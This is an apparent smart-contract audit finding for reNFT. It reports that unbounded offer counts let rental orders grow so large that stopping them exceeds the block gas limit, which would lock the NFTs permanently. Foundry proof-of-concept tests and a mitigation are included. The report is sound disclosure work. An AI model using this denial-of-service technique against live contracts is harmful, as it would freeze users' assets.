reNFT - plasmablocks's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L733-L775

Vulnerability details

Impact

When an order is created on Opensea the Create::validateOrder() policy method is used to ensure the order is configured correctly. Currently there is no maximum limit to the number of offers in the input ZoneParameters, which allows orders to contain an arbitrary amount of ERC-721 and ERC-1155 items to a rental order.

If a large enough rental order is successfully created, there is a risk that it won't be able to be stopped by calling the Stop::stopRent() due to the amount of gas required exceeding the block gas limit. This would prevent the escrow from settling the order and leave the order permantanly in a rental state. This also means any ERC-721 and ERC-1155 tokens in the order would not be able to be reclaimed.

This situation arises under the following conditions:

• The call to stop a rental order uses more gas than the call to create a rental order
• The call to create the rental order is successful
• The call to stop a rental order uses more gas than the block gas limit

Proof of Concept

Below I have written 2 proof of concepts to show the above conditions are possible. Each of these can be added to StopRent.t.sol to run.

    // Update the `setup` in AccountCreator to 2000+ tokens on deployToken
    function testFuzz_StopRent_PayOrder_More_Expensive_To_Stop_Than_Start(uint numOf721, uint numof1155) public {
        numOf721 = bound(numOf721, 400, erc721s.length);
        numof1155 = bound(numof1155, 400, erc1155s.length);

        uint numOfERC20 = erc1155s.length % 30;
        // create a Alice BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: numOf721,
            erc1155Offers: numof1155,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: numOfERC20
        });

        (
            Order memory orderOne,
            bytes32 orderHashOne,
            OrderMetadata memory metadataOne
        ) = finalizeOrder();

        createOrderFulfillment({
            _fulfiller: bob,
            order: orderOne,
            orderHash: orderHashOne,
            metadata: metadataOne
        });

        uint initialGasLeft = gasleft();

        // finalize the base order fulfillment
        RentalOrder memory rentalOrderOne = finalizeBaseOrderFulfillment();
        
        uint totalGasForOrder = initialGasLeft - gasleft();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);


        // stop the rental order and steal carols nft
        vm.prank(alice.addr);
        uint remaininggInitial = gasleft();
        stop.stopRent(rentalOrderOne);

        uint finalGasLeft = gasleft();
        uint gasForStopingRent = remaininggInitial - finalGasLeft;
        
        assert(totalGasForOrder > gasForStopingRent);
    }

    // Update the `setup` in AccountCreator to 2000+ tokens on deployToken
    function testFuzz_StopRent_PayOrder_StopRent_Hit_Block_GasLimit(uint numOf721, uint numof1155) public {
        numOf721 = bound(numOf721, 1500, erc721s.length);
        numof1155 = bound(numof1155, 1500, erc1155s.length);

        uint numOfERC20 = erc1155s.length % 30;
        // create a Alice BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: numOf721,
            erc1155Offers: numof1155,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: numOfERC20
        });

        (
            Order memory orderOne,
            bytes32 orderHashOne,
            OrderMetadata memory metadataOne
        ) = finalizeOrder();

        createOrderFulfillment({
            _fulfiller: bob,
            order: orderOne,
            orderHash: orderHashOne,
            metadata: metadataOne
        });

        uint initialGasLeft = gasleft();

        // finalize the base order fulfillment
        RentalOrder memory rentalOrderOne = finalizeBaseOrderFulfillment();
        
        uint totalGasForOrder = initialGasLeft - gasleft();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);


        // stop the rental order and steal carols nft
        vm.prank(alice.addr);
        uint remaininggInitial = gasleft();
        stop.stopRent(rentalOrderOne);

        uint finalGasLeft = gasleft();
        uint gasForStopingRent = remaininggInitial - finalGasLeft;

        // finalize the order creation
        // block gaslimit for ETH: https://ycharts.com/indicators/ethereum_average_gas_limit
        uint GAS_LIMIT = 30000000 wei;
        
        assert(gasForStopingRent < GAS_LIMIT);
    }

Tools Used

Manual review and foundry

Recommended Mitigation Steps

Limit the number of offers that an order can contain (to a value such as 500 or 1000) to ensure that stopping rentals doesn't exceed the blocks gas limit. One way to do this is to enforce a maximum number of SpentItem[] offer and fail to create the order if it is exceeded.

Assessed type

DoS

Judge has assessed an item in Issue #577 as 2 risk. The relevant finding follows:

L2

Contracts use solidity compiler version 0.8.20 which is currently not supported on L2's

The PUSH0 opcode was added to solidity in version 0.8.20 and is currently not supported on Polygon or Avalanche. Contract versions should be downgraded to 0.8.19

RentalOrder hashes do not include rentalWallet leading to possible hash collisions

Rental orders are stored internally as hashes derived from the _deriveRentalOrderHash() method. This hash does not include the rentalWallet id. consider adding the rentalWallet id to the hash to ensure hash uniqueness

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195